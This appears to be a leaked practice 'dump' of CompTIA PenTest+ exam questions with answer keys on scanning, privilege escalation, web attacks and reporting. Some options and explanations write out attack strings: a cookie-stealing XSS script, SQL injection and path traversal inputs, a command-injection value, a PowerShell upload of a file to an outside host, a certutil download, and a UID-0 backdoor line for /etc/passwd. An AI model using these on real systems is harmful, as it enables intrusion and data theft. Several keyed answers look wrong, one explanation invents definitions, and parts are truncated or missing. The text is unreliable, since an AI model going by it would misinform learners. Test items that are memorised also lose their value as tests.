

PT0-002 Dumps

CompTIA PenTest+ Certification Exam

<https://www.certleader.com/PT0-002-dumps.html>



NEW QUESTION 1

Deconfliction is necessary when the penetration test:

- A. determines that proprietary information is being stored in cleartext.
- B. occurs during the monthly vulnerability scanning.
- C. uncovers indicators of prior compromise over the course of the assessment.
- D. proceeds in parallel with a criminal digital forensic investigation.

Answer: C

Explanation:

This will then enable the PenTest to continue so that additional issues can be found, exploited, and analyzed.

NEW QUESTION 2

A penetration tester has been given an assignment to attack a series of targets in the 192.168.1.0/24 range, triggering as few alarms and countermeasures as possible.

Which of the following Nmap scan syntaxes would BEST accomplish this objective?

- A. nmap -sT -vvv -O 192.168.1.2/24 -PO
- B. nmap -sV 192.168.1.2/24 -PO
- C. nmap -sA -v -O 192.168.1.2/24
- D. nmap -sS -O 192.168.1.2/24 -T1

Answer: D

NEW QUESTION 3

A software development team is concerned that a new product's 64-bit Windows binaries can be deconstructed to the underlying code. Which of the following tools can a penetration tester utilize to help the team gauge what an attacker might see in the binaries?

- A. Immunity Debugger
- B. OllyDbg
- C. GDB
- D. Drozer

Answer: A

Explanation:

Immunity Debugger is a tool that can be used to deconstruct 64-bit Windows binaries and see the underlying code. Immunity Debugger is a powerful debugger that integrates with Python and allows users to write their own scripts and plugins. It can be used for reverse engineering, malware analysis, vulnerability research, and exploit development

NEW QUESTION 4

A company becomes concerned when the security alarms are triggered during a penetration test. Which of the following should the company do NEXT?

- A. Halt the penetration test.
- B. Contact law enforcement.
- C. Deconflict with the penetration tester.
- D. Assume the alert is from the penetration test.

Answer: C

Explanation:

Deconflicting with the penetration tester is the best thing to do next after the security alarms are triggered during a penetration test, as it will help determine whether the alarm was caused by the tester's activity or by an actual threat. Deconflicting is the process of communicating and coordinating with other parties involved in a penetration testing engagement, such as security teams, network administrators, or emergency contacts, to avoid confusion or interference.

NEW QUESTION 5

A client wants a security assessment company to perform a penetration test against its hot site. The purpose of the test is to determine the effectiveness of the defenses that protect against disruptions to business continuity. Which of the following is the MOST important action to take before starting this type of assessment?

- A. Ensure the client has signed the SOW.
- B. Verify the client has granted network access to the hot site.
- C. Determine if the failover environment relies on resources not owned by the client.
- D. Establish communication and escalation procedures with the client.

Answer: A

Explanation:

The statement of work (SOW) is a document that defines the scope, objectives, deliverables, and timeline of a penetration testing engagement. It is important to have the client sign the SOW before starting the assessment to avoid any legal or contractual issues.

NEW QUESTION 6

A penetration tester logs in as a user in the cloud environment of a company. Which of the following Pacu modules will enable the tester to determine the level of access of the existing user?

- A. iam_enum_permissions
- B. iam_privesc_scan
- C. iam_backdoor_assume_role
- D. iam_bruteforce_permissions

Answer: A

Explanation:

The iam_enum_permissions module will enable the tester to determine the level of access of the existing user in the cloud environment of a company, as it will list all permissions associated with an IAM user³. IAM (Identity and Access Management) is a service that enables users to manage access and permissions for AWS resources. Pacu is a tool that can be used to perform penetration testing on AWS environments⁴.

NEW QUESTION 7

Which of the following commands will allow a penetration tester to permit a shell script to be executed by the file owner?

- A. chmod u+x script.sh
- B. chmod u+e script.sh
- C. chmod o+e script.sh
- D. chmod o+x script.sh

Answer: A

NEW QUESTION 8

A penetration tester opened a reverse shell on a Linux web server and successfully escalated privileges to root. During the engagement, the tester noticed that another user logged in frequently as root to perform work tasks. To avoid disrupting this user's work, which of the following is the BEST option for the penetration tester to maintain root-level persistence on this server during the test?

- A. Add a web shell to the root of the website.
- B. Upgrade the reverse shell to a true TTY terminal.
- C. Add a new user with ID 0 to the /etc/passwd file.
- D. Change the password of the root user and revert after the test.

Answer: C

Explanation:

The best option for the penetration tester to maintain root-level persistence on this server during the test is to add a new user with ID 0 to the /etc/passwd file. This will allow the penetration tester to use the same user account as the other user, but with root privileges, meaning that it won't disrupt the other user's work. This can be done by adding a new line with the username and the numerical user ID 0 to the /etc/passwd file. For example, if the username for the other user is "johndoe", the line to add would be "johndoe:x:0:0:John Doe:/root:/bin/bash". After the user is added, the penetration tester can use the "su" command to switch to the new user and gain root privileges.

NEW QUESTION 9

While performing the scanning phase of a penetration test, the penetration tester runs the following command:

```
.....v -sV -p- 10.10.10.23-28
```

...ip scan is finished, the penetration tester notices all hosts seem to be down.

Which of the following options should the penetration tester try next?

- A. -su
- B. -pn
- C. -sn
- D. -ss

Answer: B

Explanation:

The command nmap -v -sV -p- 10.10.10.23-28 is a command that performs a port scan using nmap, which is a tool that can perform network scanning and enumeration by sending packets to hosts and analyzing their responses¹. The command has the following options:

> -v enables verbose mode, which increases the amount of information displayed by nmap

> -p- specifies that all ports from 1 to 65535 should be scanned

* 10.10.10.23-28 specifies the range of IP addresses to be scanned

The command does not have any option for host discovery, which is a process that determines which hosts are alive or reachable on a network by sending probes such as ICMP echo requests, TCP SYN packets, or ACK packets. Host discovery can help speed up the scan by avoiding scanning hosts that are down or do not respond. However, some hosts may be configured to block or ignore host discovery probes, which can cause nmap to report them as down even if they are up. To avoid this problem, the penetration tester should use the -Pn option, which skips host discovery and assumes that all hosts are up. This option can force nmap to scan all hosts regardless of their response to host discovery probes, and may reveal some hosts that were previously missed. The other options are not valid options that the penetration tester should try next. The -su option does not exist in nmap, and would cause an error. The -sn option performs a ping scan and lists hosts that respond, but it does not scan any ports or services, which is not useful for the penetration test. The -ss option does not exist in nmap, and would cause an error.

NEW QUESTION 10

A penetration tester is conducting a penetration test. The tester obtains a root-level shell on a Linux server and discovers the following data in a file named password.txt in the /home/svsacct directory:

```
U3VQZXIkM2NyZXQhCg==
```

Which of the following commands should the tester use NEXT to decode the contents of the file?

- A. echo U3VQZXIkM2NyZXQhCg== | base64 -d
- B. tar xzvf password.txt
- C. hydra -l svacct -p U3VQZXIkM2NyZXQhCg== ssh://192.168.1.0/24

D. john --wordlist /usr/share/seclists/rockyou.txt password.txt

Answer: A

NEW QUESTION 10

A penetration tester is conducting an assessment against a group of publicly available web servers and notices a number of TCP resets returning from one of the web servers. Which of the following is MOST likely causing the TCP resets to occur during the assessment?

- A. The web server is using a WAF.
- B. The web server is behind a load balancer.
- C. The web server is redirecting the requests.
- D. The local antivirus on the web server is rejecting the connection.

Answer: A

Explanation:

A Web Application Firewall (WAF) is designed to monitor, filter or block traffic to a web application. A WAF will monitor incoming and outgoing traffic from a web application and is often used to protect web servers from attacks such as SQL Injection, Cross-Site Scripting (XSS), and other forms of attacks. If a WAF detects an attack, it will often reset the TCP connection, causing the connection to be terminated. As a result, a penetration tester may see TCP resets when a WAF is present. Therefore, the most likely reason for the TCP resets returning from the web server is that the web server is using a WAF.

NEW QUESTION 14

Which of the following is the MOST important information to have on a penetration testing report that is written for the developers?

- A. Executive summary
- B. Remediation
- C. Methodology
- D. Metrics and measures

Answer: B

Explanation:

The most important information to have on a penetration testing report that is written for the developers is remediation. Remediation is the process of fixing or mitigating the vulnerabilities or issues that were discovered during the penetration testing. Remediation should include specific recommendations, best practices, and resources to help the developers improve the security of their applications.

NEW QUESTION 19

A penetration tester who is conducting a vulnerability assessment discovers that ICMP is disabled on a network segment. Which of the following could be used for a denial-of-service attack on the network segment?

- A. Smurf
- B. Ping flood
- C. Fraggle
- D. Ping of death

Answer: C

Explanation:

Fraggle attack is same as a Smurf attack but rather than ICMP, UDP protocol is used. The prevention of these attacks is almost identical to Fraggle attack.
Ref: <https://www.okta.com/identity-101/fraggle-attack/>

NEW QUESTION 22

During a penetration test, a tester is able to change values in the URL from example.com/login.php?id=5 to example.com/login.php?id=10 and gain access to a web application. Which of the following vulnerabilities has the penetration tester exploited?

- A. Command injection
- B. Broken authentication
- C. Direct object reference
- D. Cross-site scripting

Answer: C

Explanation:

Insecure direct object reference (IDOR) is a vulnerability where the developer of the application does not implement authorization features to verify that someone accessing data on the site is allowed to access that data.

NEW QUESTION 23

After gaining access to a Linux system with a non-privileged account, a penetration tester identifies the following file:

```
-rwxrwxrwx 1 root root 915 Mar 6 2020 /scripts/daily_log_backup.sh
```

Which of the following actions should the tester perform FIRST?

- A. Change the file permissions.
- B. Use privilege escalation.
- C. Cover tracks.
- D. Start a reverse shell.

Answer: B

Explanation:

The file `.scripts/daily_log_backup.sh` has permissions set to `777`, meaning that anyone can read, write, or execute the file. Since it's owned by the root user and the penetration tester has access to the system with a non-privileged account, this could be a potential avenue for privilege escalation. In a penetration test, after finding such a file, the tester would likely want to explore it and see if it can be leveraged to gain higher privileges. This is often done by inserting malicious code or commands into the script if it's being executed with higher privileges, such as root in this case.

NEW QUESTION 25

A penetration tester is able to use a command injection vulnerability in a web application to get a reverse shell on a system. After running a few commands, the tester runs the following:

```
python -c 'import pty; pty.spawn("/bin/bash")'
```

Which of the following actions is the penetration tester performing?

- A. Privilege escalation
- B. Upgrading the shell
- C. Writing a script for persistence
- D. Building a bind shell

Answer: B

Explanation:

The penetration tester is performing an action called upgrading the shell, which means improving the functionality and interactivity of the shell. By running the python command, the penetration tester is spawning a new bash shell that has features such as tab completion, command history, and job control. This can help the penetration tester to execute commands more easily and efficiently.

NEW QUESTION 29

A penetration tester gives the following command to a systems administrator to execute on one of the target servers:

```
rm -f /var/www/html/G679h32gYu.php
```

Which of the following BEST explains why the penetration tester wants this command executed?

- A. To trick the systems administrator into installing a rootkit
- B. To close down a reverse shell
- C. To remove a web shell after the penetration test
- D. To delete credentials the tester created

Answer: C

Explanation:

s for why the penetration tester wants this command executed.

NEW QUESTION 34

A penetration tester is testing a new version of a mobile application in a sandbox environment. To intercept and decrypt the traffic between the application and the external API, the tester has created a private root CA and issued a certificate from it. Even though the tester installed the root CA into the trusted store of the smartphone used for the tests, the application shows an error indicating a certificate mismatch and does not connect to the server. Which of the following is the MOST likely reason for the error?

- A. TCP port 443 is not open on the firewall
- B. The API server is using SSL instead of TLS
- C. The tester is using an outdated version of the application
- D. The application has the API certificate pinned.

Answer: D

NEW QUESTION 36

A final penetration test report has been submitted to the board for review and accepted. The report has three findings rated high. Which of the following should be the NEXT step?

- A. Perform a new penetration test.
- B. Remediate the findings.
- C. Provide the list of common vulnerabilities and exposures.
- D. Broaden the scope of the penetration test.

Answer: B

NEW QUESTION 40

Which of the following should a penetration tester attack to gain control of the state in the HTTP protocol after the user is logged in?

- A. HTTPS communication
- B. Public and private keys
- C. Password encryption
- D. Sessions and cookies

Answer: D

NEW QUESTION 42

A penetration tester is preparing to perform activities for a client that requires minimal disruption to company operations. Which of the following are considered passive reconnaissance tools? (Choose two.)

- A. Wireshark
- B. Nessus
- C. Retina
- D. Burp Suite
- E. Shodan
- F. Nikto

Answer: AE

Explanation:

Wireshark and Shodan are two tools that can be used to perform passive reconnaissance, which means collecting information from publicly available sources without interacting with the target or revealing one's identity. Wireshark is a tool that can be used to capture and analyze network traffic, such as packets, protocols, or sessions, without sending any data to the target. Shodan is a tool that can be used to search for devices or services on the internet, such as web servers, routers, cameras, or firewalls, without contacting them directly. The other tools are not passive reconnaissance tools, but rather active reconnaissance tools, which means interacting with the target or sending data to it. Nessus and Retina are tools that can be used to perform vulnerability scanning, which involves sending probes or requests to the target and analyzing its responses for potential weaknesses. Burp Suite is a tool that can be used to perform web application testing, which involves intercepting and modifying web requests and responses between the browser and the server.

NEW QUESTION 43

A penetration tester discovers during a recent test that an employee in the accounting department has been making changes to a payment system and redirecting money into a personal bank account. The penetration test was immediately stopped. Which of the following would be the BEST recommendation to prevent this type of activity in the future?

- A. Enforce mandatory employee vacations
- B. Implement multifactor authentication
- C. Install video surveillance equipment in the office
- D. Encrypt passwords for bank account information

Answer: A

Explanation:

If the employee already works in the accounting department, MFA will not stop their actions because they'll already have access by virtue of their job. Enforcing mandatory employee vacations is the best recommendation to prevent this type of activity in the future, as it will make it harder for an employee to conceal fraudulent transactions or unauthorized changes to a payment system. Mandatory employee vacations are a form of internal control that requires employees to take time off from work periodically and have their duties performed by someone else. This can help detect errors, irregularities, or frauds committed by employees who might otherwise have exclusive access or control over certain processes or systems.

NEW QUESTION 48

A tester who is performing a penetration test on a website receives the following output:

```
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /var/www/search.php on line 62
```

Which of the following commands can be used to further attack the website?

- A. `<script>var adr= './evil.php?test=' + escape(document.cookie);</script>`
- B. `../../../../../../../../etc/passwd`
- C. `/var/www/html/index.php;whoami`
- D. `1 UNION SELECT 1, DATABASE(),3-`

Answer: D

NEW QUESTION 53

A penetration tester who is performing an engagement notices a specific host is vulnerable to EternalBlue. Which of the following would BEST protect against this vulnerability?

- A. Network segmentation
- B. Key rotation
- C. Encrypted passwords
- D. Patch management

Answer: D

Explanation:

Patch management is the process of identifying, downloading, and installing security patches for a system in order to address new vulnerabilities and software exploits. In the case of EternalBlue, the vulnerability was addressed by Microsoft in the form of a security patch. Installing this patch on the vulnerable host will provide protection from the vulnerability. Additionally, organizations should implement a patch management program to regularly check for and install security patches for the systems in their environment.

Network segmentation (A) can limit the impact of a compromise by separating different parts of the network into smaller, more isolated segments. However, it does not address the vulnerability itself.

Key rotation (B) is the process of periodically changing cryptographic keys, which can help protect against attacks that rely on stolen or compromised keys. However, it is not directly related to the EternalBlue vulnerability.

Encrypted passwords (C) can help protect user credentials in case of a data breach or other compromise, but it does not prevent attackers from exploiting the EternalBlue vulnerability.

NEW QUESTION 58

During a web application test, a penetration tester was able to navigate to <https://company.com> and view all links on the web page. After manually reviewing the pages, the tester used a web scanner to automate the search for vulnerabilities. When returning to the web application, the following message appeared in the browser: unauthorized to view this page. Which of the following BEST explains what occurred?

- A. The SSL certificates were invalid.
- B. The tester IP was blocked.
- C. The scanner crashed the system.
- D. The web page was not found.

Answer: B

Explanation:

The most likely explanation for what occurred is that the tester IP was blocked by the web server. The web server may have detected the web scanner as a malicious or suspicious activity and blocked the tester's IP address from accessing the web application. This could result in an unauthorized to view this page message in the browser.

NEW QUESTION 59

A security engineer identified a new server on the network and wants to scan the host to determine if it is running an approved version of Linux and a patched version of Apache. Which of the following commands will accomplish this task?

- A. `nmap -f -sV -p80 192.168.1.20`
- B. `nmap -sS -sL -p80 192.168.1.20`
- C. `nmap -A -T4 -p80 192.168.1.20`
- D. `nmap -O -v -p80 192.168.1.20`

Answer: C

Explanation:

This command will scan the host 192.168.1.20 on port 80 using the following options:

- -A: This option enables OS detection, version detection, script scanning, and traceroute. This will help to determine if the host is running an approved version of Linux and a patched version of Apache, as well as other information about the host and the network path.
- -T4: This option sets the timing template to aggressive, which speeds up the scan by increasing the number of parallel probes, reducing the timeouts, and assuming faster responses.
- -p80: This option specifies the port to scan, which is 80 in this case. Port 80 is commonly used for HTTP services, such as Apache web server.

NEW QUESTION 60

A penetration tester ran an Nmap scan on an Internet-facing network device with the -F option and found a few open ports. To further enumerate, the tester ran another scan using the following command:

```
nmap -O -A -sS -p- 100.100.100.50
```

Nmap returned that all 65,535 ports were filtered.

Which of the following MOST likely occurred on the second scan?

- A. A firewall or IPS blocked the scan.
- B. The penetration tester used unsupported flags.
- C. The edge network device was disconnected.
- D. The scan returned ICMP echo replies.

Answer: A

NEW QUESTION 63

Which of the following OSSTM testing methodologies should be used to test under the worst conditions?

- A. Tandem
- B. Reversal
- C. Semi-authorized
- D. Known environment

Answer: D

Explanation:

The OSSTM testing methodology that should be used to test under the worst conditions is known environment, which is a testing approach that assumes that the tester has full knowledge of the target system or network, such as its architecture, configuration, vulnerabilities, or defenses. A known environment testing can simulate a worst-case scenario, where an attacker has gained access to sensitive information or insider knowledge about the target, and can exploit it to launch more sophisticated or targeted attacks. A known environment testing can also help identify the most critical or high-risk areas of the target, and provide recommendations for improving its security posture. The other options are not OSSTM testing methodologies that should be used to test under the worst conditions. Tandem is a testing approach that involves two testers working together on the same target, one as an attacker and one as a defender, to simulate a realistic attack scenario and evaluate the effectiveness of the defense mechanisms. Reversal is a testing approach that involves switching roles between the tester and the client, where the tester acts as a defender and the client acts as an attacker, to assess the security awareness and skills of the client. Semi-authorized is a testing approach that involves giving partial or limited authorization or access to the tester, such as a user account or a network segment, to simulate an attack scenario where an attacker has compromised a legitimate user or device.

NEW QUESTION 66

A penetration tester obtained the following results after scanning a web server using the dirb utility:

```
...
GENERATED WORDS: 4612
---
Scanning URL: http://10.2.10.13/ ---
+
http://10.2.10.13/about (CODE:200|SIZE:1520)
+
http://10.2.10.13/home.html (CODE:200|SIZE:214)
+
```

http://10.2.10.13/index.html (CODE:200|SIZE:214)

+

http://10.2.10.13/info (CODE:200|SIZE:214)

...

DOWNLOADED: 4612 – FOUND: 4

Which of the following elements is MOST likely to contain useful information for the penetration tester?

- A. index.html
- B. about
- C. info
- D. home.html

Answer: B

Explanation:

The element /about is most likely to contain useful information for the penetration tester, as it may reveal details about the website's owner, purpose, history, contact information, etc. This information can be used for further reconnaissance, social engineering, or identifying potential vulnerabilities.

NEW QUESTION 70

A software company has hired a penetration tester to perform a penetration test on a database server. The tester has been given a variety of tools used by the company's privacy policy. Which of the following would be the BEST to use to find vulnerabilities on this server?

- A. OpenVAS
- B. Nikto
- C. SQLmap
- D. Nessus

Answer: C

NEW QUESTION 72

Which of the following BEST describe the OWASP Top 10? (Choose two.)

- A. The most critical risks of web applications
- B. A list of all the risks of web applications
- C. The risks defined in order of importance
- D. A web-application security standard
- E. A risk-governance and compliance framework
- F. A checklist of Apache vulnerabilities

Answer: AC

Explanation:

These two options best describe the OWASP Top 10, which stands for Open Web Application Security Project Top 10 and is a list of the most critical web application security risks based on data from various sources and experts. The list is updated periodically to reflect changes in technology and threat landscape. The list also ranks the risks in order of importance based on their prevalence, impact, and ease of exploitation or remediation. The other options are not accurate descriptions of the OWASP Top 10. The list does not cover all the risks of web applications, but rather focuses on the most common and severe ones. The list is not a web application security standard, but rather a guideline or reference for developers, testers, and security professionals. The list is not a risk-governance and compliance framework, but rather a resource or tool for identifying and mitigating web application vulnerabilities. The list is not a checklist of Apache vulnerabilities, but rather a general list of web application risks that apply to any web server or platform.

NEW QUESTION 73

A penetration tester was brute forcing an internal web server and ran a command that produced the following output:

```
$ dirb http://172.16.100.10:3000
-----
DURB v2.22
By The Dark Raver
-----
START_TIME: Wed Feb 3 13:06:18 2021
URL_BASE: http://172.16.100.10:3000
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----
GENERATED WORDS: 4612
---- Scanning URL: http://172.16.100.10:3000 ----
+ http://172.16.100.10:3000/ftp (CODE:200|SIZE:11071)
+ http://172.16.100.10:3000/profile (CODE:500|SIZE:1151)
+ http://172.16.100.10:3000/promotion (CODE:200|SIZE:6586)
+ http://172.16.100.10:3000/robots.txt (CODE:200|SIZE:28)
+ http://172.16.100.10:3000 /Video (CODE:200|SIZE:10075518)
-----
END_TIME: Wed Feb 3 13:07:53 2021
DOWNLOADED: 4612 – FOUND: 5
```

However, when the penetration tester tried to browse the URL <http://172.16.100.10:3000/profile>, a blank page was displayed. Which of the following is the MOST likely reason for the lack of output?

- A. The HTTP port is not open on the firewall.
- B. The tester did not run sudo before the command.
- C. The web server is using HTTPS instead of HTTP.
- D. This URI returned a server error.

Answer: A

NEW QUESTION 77

The results of an Nmap scan are as follows:

Starting Nmap 7.80 (<https://nmap.org>) at 2021-01-24 01:10 EST Nmap scan report for (10.2.1.22)

Host is up (0.0102s latency). Not shown: 998 filtered ports Port State Service

80/tcp open http

|_http-title: 80F 22% RH 1009.1MB (text/html)

|_http-slowloris-check:

| VULNERABLE:

| Slowloris DoS Attack

| <..>

Device type: bridge|general purpose

Running (JUST GUESSING) : QEMU (95%)

OS CPE: cpe:/a:qemu:qemu

No exact OS matches found for host (test conditions non-ideal).

OS detection performed. Please report any incorrect results at <https://nmap.org/submit/>. Nmap done: 1 IP address (1 host up) scanned in 107.45 seconds

Which of the following device types will MOST likely have a similar response? (Choose two.)

- A. Network device
- B. Public-facing web server
- C. Active Directory domain controller
- D. IoT/embedded device
- E. Exposed RDP
- F. Print queue

Answer: BD

Explanation:

<https://www.netscout.com/what-is-ddos/slowloris-attacks>

From the http-title in the output, this looks like an IoT device with RH implying Relative Humidity, that offers a web-based interface for visualizing the results.

NEW QUESTION 81

A penetration tester has obtained a low-privilege shell on a Windows server with a default configuration and now wants to explore the ability to exploit misconfigured service permissions. Which of the following commands would help the tester START this process?

- A. Certutil -urlcache -split -f http://192.168.2.124/windows-binaries/ accesschk64.exe
- B. powershell (New-Object System.Net.WebClient).UploadFile('http://192.168.2.124/ upload.php', 'systeminfo.txt')
- C. schtasks /query /fo LIST /v | find /I "Next Run Time:"
- D. Wget http://192.168.2.124/windows-binaries/accesschk64.exe -O accesschk64.exe

Answer: A

Explanation:

<https://www.bleepingcomputer.com/news/security/certutil.exe-could-allow-attackers-to-download-malware-while>

--- <https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk>

The certutil command is a Windows utility that can be used to manipulate certificates and certificate authorities. However, it can also be abused by attackers to download files from remote servers using the -urlcache option. In this case, the command downloads accesschk64.exe from http://192.168.2.124/windows-binaries/ and saves it locally. Accesschk64.exe is a tool that can be used to check service permissions and identify potential privilege escalation vectors. The other commands are not relevant for this purpose. Powershell is a scripting language that can be used to perform various tasks, but in this case it uploads a file instead of downloading one. Schtasks is a command that can be used to create or query scheduled tasks, but it does not help with service permissions. Wget is a Linux command that can be used to download files from the web, but it does not work on Windows by default.

NEW QUESTION 82

A software company has hired a security consultant to assess the security of the company's software development practices. The consultant opts to begin reconnaissance by performing fuzzing on a software binary. Which of the following vulnerabilities is the security consultant MOST likely to identify?

- A. Weak authentication schemes
- B. Credentials stored in strings
- C. Buffer overflows
- D. Non-optimized resource management

Answer: C

Explanation:

fuzzing introduces unexpected inputs into a system and watches to see if the system has any negative reactions to the inputs that indicate security, performance, or quality gaps or issues

NEW QUESTION 83

A penetration tester ran a ping -A command during an unknown environment test, and it returned a 128 TTL packet. Which of the following OSs would MOST likely return a packet of this type?

- A. Windows
- B. Apple

- C. Linux
- D. Android

Answer: A

Explanation:

The ping -A command sends an ICMP echo request with a specified TTL value and displays the response. The TTL value indicates how many hops the packet can traverse before being discarded. Different OSs have different default TTL values for their packets. Windows uses 128, Apple uses 64, Linux uses 64 or 255, and Android uses 64. Therefore, a packet with a TTL of 128 is most likely from a Windows OS.

NEW QUESTION 87

A penetration tester runs a scan against a server and obtains the following output: 21/tcp open ftp Microsoft ftpd

| ftp-anon: Anonymous FTP login allowed (FTP code 230)

| 03-12-20 09:23AM 331 index.aspx

| ftp-syst:

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Microsoft Windows Server 2012 Std 3389/tcp open ssl/ms-wbt-server

| rdp-ntlm-info:

| Target Name: WEB3

| NetBIOS_Computer_Name: WEB3

| Product_Version: 6.3.9600

|_ System_Time: 2021-01-15T11:32:06+00:00

8443/tcp open http Microsoft IIS httpd 8.5

| http-methods:

|_ Potentially risky methods: TRACE

|_ http-server-header: Microsoft-IIS/8.5

|_ http-title: IIS Windows Server

Which of the following command sequences should the penetration tester try NEXT?

- A. ftp 192.168.53.23
- B. smbclient \\\\WEB3\\IPC\$ -I 192.168.53.23 -U guest
- C. ncrack -u Administrator -P 15worst_passwords.txt -p rdp 192.168.53.23
- D. curl -X TRACE https://192.168.53.23:8443/index.aspx
- E. nmap --script vuln -sV 192.168.53.23

Answer: A

NEW QUESTION 88

A penetration tester has been hired to configure and conduct authenticated scans of all the servers on a software company's network. Which of the following accounts should the tester use to return the MOST results?

- A. Root user
- B. Local administrator
- C. Service
- D. Network administrator

Answer: C

NEW QUESTION 89

A company uses a cloud provider with shared network bandwidth to host a web application on dedicated servers. The company's contact with the cloud provider prevents any activities that would interfere with the cloud provider's other customers. When engaging with a penetration-testing company to test the application, which of the following should the company avoid?

- A. Crawling the web application's URLs looking for vulnerabilities
- B. Fingerprinting all the IP addresses of the application's servers
- C. Brute forcing the application's passwords
- D. Sending many web requests per second to test DDoS protection

Answer: D

NEW QUESTION 94

A penetration tester downloaded the following Perl script that can be used to identify vulnerabilities in network switches. However, the script is not working properly.

Which of the following changes should the tester apply to make the script work as intended?

- A. Change line 2 to \$ip= €10.192.168.254€;
- B. Remove lines 3, 5, and 6.
- C. Remove line 6.
- D. Move all the lines below line 7 to the top of the script.

Answer: B

Explanation:

<https://www.asc.ohio-state.edu/lewis.239/Class/Perl/perl.html> Example script:

```
#!/usr/bin/perl
$ip=$argv[1]; attack($ip);
sub attack { print("x");
}
```

NEW QUESTION 97

During enumeration, a red team discovered that an external web server was frequented by employees. After compromising the server, which of the following attacks would best support -----company systems?

- A. Aside-channel attack
- B. A command injection attack
- C. A watering-hole attack
- D. A cross-site scripting attack

Answer: C

Explanation:

The best attack that would support compromising company systems after compromising an external web server frequented by employees is a watering-hole attack, which is an attack that involves compromising a website that is visited by a specific group of users, such as employees of a target company, and injecting malicious code or content into the website that can infect or exploit the users' devices when they visit the website. A watering-hole attack can allow an attacker to compromise company systems by targeting their employees who frequent the external web server, and taking advantage of their trust or habit of visiting the website. A watering-hole attack can be performed by using tools such as BeEF, which is a tool that can hook web browsers and execute commands on them. The other options are not likely attacks that would support compromising company systems after compromising an external web server frequented by employees. A side-channel attack is an attack that involves exploiting physical characteristics or implementation flaws of a system or device, such as power consumption, electromagnetic radiation, timing, or sound, to extract sensitive information or bypass security mechanisms. A command injection attack is an attack that exploits a vulnerability in a system or application that allows an attacker to execute arbitrary commands on the underlying OS or shell. A cross-site scripting attack is an attack that exploits a vulnerability in a web application that allows an attacker to inject malicious scripts into web pages that are viewed by other users.

NEW QUESTION 100

A penetration tester has gained access to the Chief Executive Officer's (CEO's) internal, corporate email. The next objective is to gain access to the network. Which of the following methods will MOST likely work?

- A. Try to obtain the private key used for S/MIME from the CEO's account.
- B. Send an email from the CEO's account, requesting a new account.
- C. Move laterally from the mail server to the domain controller.
- D. Attempt to escalate privileges on the mail server to gain root access.

Answer: D

NEW QUESTION 104

A penetration tester needs to upload the results of a port scan to a centralized security tool. Which of the following commands would allow the tester to save the results in an interchangeable format?

- A. `nmap -iL results 192.168.0.10-100`
- B. `nmap 192.168.0.10-100 -O > results`
- C. `nmap -A 192.168.0.10-100 -oX results`
- D. `nmap 192.168.0.10-100 | grep "results"`

Answer: C

NEW QUESTION 106

A penetration tester is scanning a corporate lab network for potentially vulnerable services. Which of the following Nmap commands will return vulnerable ports that might be interesting to a potential attacker?

- A. `nmap 192.168.1.1-5 -PU22-25,80`
- B. `nmap 192.168.1.1-5 -PA22-25,80`
- C. `nmap 192.168.1.1-5 -PS22-25,80`
- D. `nmap 192.168.1.1-5 -Ss22-25,80`

Answer: C

Explanation:

PS/PA/PU/PY are host discovery flags which use TCP SYN/ACK, UDP or SCTP discovery respectively. And since the ports in the options are mostly used by TCP protocols, then it's either the PS or PA flag. But since we need to know if the ports are live, sending SYN packet is a better alternative. Hence, I choose PS in this case.

The `nmap -PS22-25,80 192.168.1.1-5` command will return vulnerable ports that might be interesting to a potential attacker, as it will perform a TCP SYN scan on ports 22, 23, 24, 25, and 80 of the target hosts. A TCP SYN scan is a stealthy technique that sends a SYN packet to each port and waits for a response. If the response is a SYN/ACK packet, it means the port is open and listening for connections. If the response is a RST packet, it means the port is closed and not accepting connections. If there is no response, it means the port is filtered by a firewall or IDS.

NEW QUESTION 107

A penetration tester has established an on-path attack position and must now specially craft a DNS query response to be sent back to a target host. Which of the following utilities would BEST support this objective?

- A. Socat
- B. tcpdump
- C. Scapy
- D. dig

Answer: C

Explanation:

<https://thepacketgeek.com/scapy/building-network-tools/part-09/>

Which of the following is the order of steps the penetration tester needs to follow to validate whether the Java application uses encryption over sockets?

- A. Run an application vulnerability scan and then identify the TCP ports used by the application.
- B. Run the application attached to a debugger and then review the application's log.
- C. Disassemble the binary code and then identify the break points.
- D. Start a packet capture with Wireshark and then run the application.

Answer: D

NEW QUESTION 118

A penetration tester has established an on-path position between a target host and local network services but has not been able to establish an on-path position between the target host and the Internet. Regardless, the tester would like to subtly redirect HTTP connections to a spoofed server IP. Which of the following methods would BEST support the objective?

- A. Gain access to the target host and implant malware specially crafted for this purpose.
- B. Exploit the local DNS server and add/update the zone records with a spoofed A record.
- C. Use the Scapy utility to overwrite name resolution fields in the DNS query response.
- D. Proxy HTTP connections from the target host to that of the spoofed host.

Answer: D

NEW QUESTION 123

A penetration tester utilized Nmap to scan host 64.13.134.52 and received the following results:

```
# nmap -T4 -v -oG - scanme.nmap.org
# Nmap 5.35DC18 scan initiated [time] as: nmap -T4 -A -v -cG -
scanme.nmap.org
# Ports scanned: TCP(1000;1, 3-4, 6-7, ..., 65389) UDP (0;) PROTOCOLS(0;)
Host: 64.13.134.52 (scanme.nmap.org) Status: Up
Host: 64.13.134.52 (scanme.nmap.org)
Ports:
22/open/tcp
25/closed/tcp
53/open/tcp
70/closed/tcp
80/open/tcp
113/closed/tcp
31337/closed/tcp
Ignored State: filtered (993) OS: Linux 2.6.13 - 2.6.31 Seq Index: 204 IP ID
Seq: All zeros
# Nmap done at [time] -- 1 IP address (1 host up) scanned in 21.90 seconds
```

Based on the output, which of the following services are MOST likely to be exploited? (Choose two.)

- A. Telnet
- B. HTTP
- C. SMTP
- D. DNS
- E. NTP
- F. SNMP

Answer: BD

NEW QUESTION 127

Which of the following situations would require a penetration tester to notify the emergency contact for the engagement?

- A. The team exploits a critical server within the organization.
- B. The team exfiltrates PII or credit card data from the organization.
- C. The team loses access to the network remotely.
- D. The team discovers another actor on a system on the network.

Answer: D

NEW QUESTION 132

During an assessment, a penetration tester was able to access the organization's wireless network from outside of the building using a laptop running Aircrack-ng. Which of the following should be recommended to the client to remediate this issue?

- A. Changing to Wi-Fi equipment that supports strong encryption
- B. Using directional antennae
- C. Using WEP encryption
- D. Disabling Wi-Fi

Answer: A

Explanation:

